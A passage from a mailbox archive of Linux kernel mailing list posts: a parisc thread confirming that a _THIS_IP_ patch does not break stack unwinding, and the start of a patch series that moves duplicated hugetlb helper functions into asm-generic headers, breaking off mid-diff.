 vp71hizeUQnN7bYur+qHjM7+efD3YXRBEh9Ty90OD4SJ7KtQlssG0hxf0kNcYT2+pCxzp7Yt3
 XDoGUgRTq6Kzu34ZkxODD4SpM6XYQlAZSD22azje6f0wXBtoZJ8G7IK/czTWElUW3joO67dXb
 CDAPOvnmFgEMJBLko33GU8k9+ocINugogtPHeCzPOnV6YkY3kIm5spMrXIq97Ptta0ER8b/cJ
 LVYqNz2PgxtEdMpk7MY7mHTKZcz+nT4cPD6Sa0lG1iXcO1FbCcUtJr9pwZDjLlpVCrQrcWCan
 qvnM8QHpy8VlwPE730m1alkH6oH24KbijPe4Ie6kXZNTVoEwK4d27TcMGlCG4j80V8XEHVBIJ
 blv0ZL46Sa1hEKD+NwS+b0Bbx2bdGnYFE/+49rWMD5yho4f+/xSltLsSE9xJrHBSHPOcGUu36
 JBnqUGBIv7W44KISSKy0D2b0B3NXLBBOorY27YovN2z7cBPkJ2V1Ne1Y+2diSg+1E882BqOLE
 zt/9dy9x7/EGqPCbzfFIR2oQmGBX3VL1LIQ8ngpUQeMBLUyCm7pHYu/BKa2C+N+9fOarRVOZO
 V9257QfVvUD69RUABasg/hlFy6SnMyDF/mbxu42LQJcHfnNw80ghNCJN+/7EwrALi0g464R0t
 DSaV9qya2AMLcoTf4xOqQyekmcVfdsdANe0Z3hvayiyK2wadZddDAbm3Hhdz9R9IgUdzuvrj 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2839282 gmane.linux.ports.parisc:28873
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2839282>

On 03.08.2018 22:33, Nick Desaulniers wrote:
> On Fri, Aug 3, 2018 at 12:09 PM John David Anglin <dave.anglin@bell.net> wrote:
>>
>> On 2018-08-03 2:11 PM, Nick Desaulniers wrote:
>>> But the kernel uses the generic_THIS_IP_  *everywhere*, not parisc's
>>> custom current_text_addr().  So if this did actually break unwinding,
>>> you should have noticed by now.
>> The unwind problem was noticed.
> 
> So parisc is currently broken (doesn't unwind) due to the pervasive
> use of _THIS_IP_ (generic C) throughout the kernel?

I tested it on the 32bit kernel.
The answer is: No. Unwinding works (with and without your patch).
 
> If no, that implies this patch (generic C) causes no unwinding problems.

correct.

> If yes, that implies that the diff I posted later in this thread
> (inline assembly) is preferable, and that parisc has bigger problems
> (and probably needs to do rewrite the unwinding code to handle these
> extra labels everywhere).
> 
>> Patches were recently applied to gcc and binutils to try and fix it.
>> The gcc patch moved
>> branch tables to rodata so that the label at the head of the table
>> wasn't in text.
>>
>> https://gcc.gnu.org/ml/gcc-patches/2018-07/msg01804.html
>> https://sourceware.org/ml/binutils/2018-07/msg00474.html
>>
>> When I saw your suggested change, I realized there was another source of
>> text labels
>> that need linker relocations.
> 
> Thank you for the links.
> 
> On Fri, Aug 3, 2018 at 10:57 AM John David Anglin <dave.anglin@bell.net> wrote:
>> The label breaks the unwind data, not the unwind code.  So, localizing
>> the use of
>> current_text_addr() to the parisc unwind code doesn't help.
> 
> Have you confirmed that applying my patch breaks *the ability to
> unwind correctly*?

I tested your patch (on 32bit).
Your patch does not break anything.

> It looks like return_address() is used in
> ftrace_return_address(), so I assume you can boot a kernel with my
> patch applied, and CONFIG_FTRACE=y, then run:
> 
> $ sudo trace-cmd record -p function date
> $ trace-cmd report | grep date- | less
> 
> and see if the stacks aren't unwound or look messed up.

I faced issues with trace-cmd, but calling ftracing functions manually worked.

So, your patch is basically OK and doesn't break anything.
But I agree with Dave that Andrew, that THIS_IP is ugly.

Helge


From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture primitives
Date: Mon,  6 Aug 2018 17:57:00 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578127 25400 195.159.176.226 (6 Aug 2018 17:55:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 17:55:27 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 19:55:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjiy-0006Sj-0L
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 19:55:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1733230AbeHFUHj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:07:39 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:44385 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728311AbeHFUHj (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:07:39 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 99611C0003;
        Mon,  6 Aug 2018 17:57:16 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840724 gmane.linux.kernel.mm:201305 gmane.linux.ports.arm.kernel:667935 gmane.linux.ports.ia64:29045 gmane.linux.ports.mips.general:65907 gmane.linux.ports.parisc:28874 gmane.linux.ports.ppc64.devel:160965 gmane.linux.ports.sh.devel:57332 gmane.linux.ports.sparc:28184 gmane.linux.kernel.cross-arch:45594
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840724>

[CC linux-mm for inclusion in -mm tree]                                          
                                                                                 
In order to reduce copy/paste of functions across architectures and then         
make riscv hugetlb port (and future ports) simpler and smaller, this             
patchset intends to factorize the numerous hugetlb primitives that are           
defined across all the architectures.                                            
                                                                                 
Except for prepare_hugepage_range, this patchset moves the versions that         
are just pass-through to standard pte primitives into                            
asm-generic/hugetlb.h by using the same #ifdef semantic that can be              
found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.                            
                                                                                 
s390 architecture has not been tackled in this serie since it does not           
use asm-generic/hugetlb.h at all.                                                
                                                                                 
This patchset has been compiled on all addressed architectures with              
success (except for parisc, but the problem does not come from this              
series).                                                                         
                                                                                 
v6:                                                                              
  - Remove nohash/32 and book3s/32 powerpc specific implementations in
    order to use the generic ones.                                                        
  - Add all the Reviewed-by, Acked-by and Tested-by in the commits,              
    thanks to everyone.                                                          
                                                                                 
v5:                                                                              
  As suggested by Mike Kravetz, no need to move the #include                     
  <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at          
  the top of the file.                                                           
                                                                                 
v4:                                                                              
  Fix powerpc build error due to misplacing of #include                          
  <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as              
  pointed by Christophe Leroy.                                                   
                                                                                 
v1, v2, v3:                                                                      
  Same version, just problems with email provider and misuse of                  
  --batch-size option of git send-email

Alexandre Ghiti (11):
  hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
  hugetlb: Introduce generic version of hugetlb_free_pgd_range
  hugetlb: Introduce generic version of set_huge_pte_at
  hugetlb: Introduce generic version of huge_ptep_get_and_clear
  hugetlb: Introduce generic version of huge_ptep_clear_flush
  hugetlb: Introduce generic version of huge_pte_none
  hugetlb: Introduce generic version of huge_pte_wrprotect
  hugetlb: Introduce generic version of prepare_hugepage_range
  hugetlb: Introduce generic version of huge_ptep_set_wrprotect
  hugetlb: Introduce generic version of huge_ptep_set_access_flags
  hugetlb: Introduce generic version of huge_ptep_get

 arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
 arch/arm/include/asm/hugetlb.h               | 30 ----------
 arch/arm64/include/asm/hugetlb.h             | 39 +++---------
 arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
 arch/mips/include/asm/hugetlb.h              | 40 +++----------
 arch/parisc/include/asm/hugetlb.h            | 33 +++--------
 arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
 arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
 arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
 arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
 arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
 arch/sh/include/asm/hugetlb.h                | 54 ++---------------
 arch/sparc/include/asm/hugetlb.h             | 40 +++----------
 arch/x86/include/asm/hugetlb.h               | 69 ----------------------
 include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
 15 files changed, 135 insertions(+), 394 deletions(-)

-- 
2.16.2



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
Date: Mon,  6 Aug 2018 17:57:01 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20180806175711.24438-2-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578197 30334 195.159.176.226 (6 Aug 2018 17:56:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 17:56:37 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 19:56:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjk5-0007j6-9F
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 19:56:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1733239AbeHFUIt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:08:49 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:42919 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728311AbeHFUIt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:08:49 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 522E1240002;
        Mon,  6 Aug 2018 17:58:25 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840725 gmane.linux.kernel.mm:201306 gmane.linux.ports.arm.kernel:667936 gmane.linux.ports.ia64:29046 gmane.linux.ports.mips.general:65908 gmane.linux.ports.parisc:28875 gmane.linux.ports.ppc64.devel:160966 gmane.linux.ports.sh.devel:57333 gmane.linux.ports.sparc:28185 gmane.linux.kernel.cross-arch:45595
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840725>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 02/11] hugetlb: Introduce generic version of hugetlb_free_pgd_range
Date: Mon,  6 Aug 2018 17:57:02 +0000
Lines: 288
Approved: news@gmane.org
Message-ID: <20180806175711.24438-3-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578264 2674 195.159.176.226 (6 Aug 2018 17:57:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 17:57:44 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 19:57:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjl9-0000VN-DL
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 19:57:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1733261AbeHFUJz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:09:55 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:48669 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728311AbeHFUJz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:09:55 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id EEDF81BF205;
        Mon,  6 Aug 2018 17:59:33 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840726 gmane.linux.kernel.mm:201307 gmane.linux.ports.arm.kernel:667937 gmane.linux.ports.ia64:29047 gmane.linux.ports.mips.general:65909 gmane.linux.ports.parisc:28876 gmane.linux.ports.ppc64.devel:160967 gmane.linux.ports.sh.devel:57334 gmane.linux.ports.sparc:28186 gmane.linux.kernel.cross-arch:45596
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840726>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     |  9 ---------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     |  8 --------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 26 insertions(+), 62 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..537660891f9f 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -27,15 +27,6 @@
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..a7d5c739df9b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -179,6 +179,8 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #else /* ! CONFIG_HUGETLB_PAGE */
 static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 				      unsigned long vmaddr)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..398da3b3414c 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,14 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
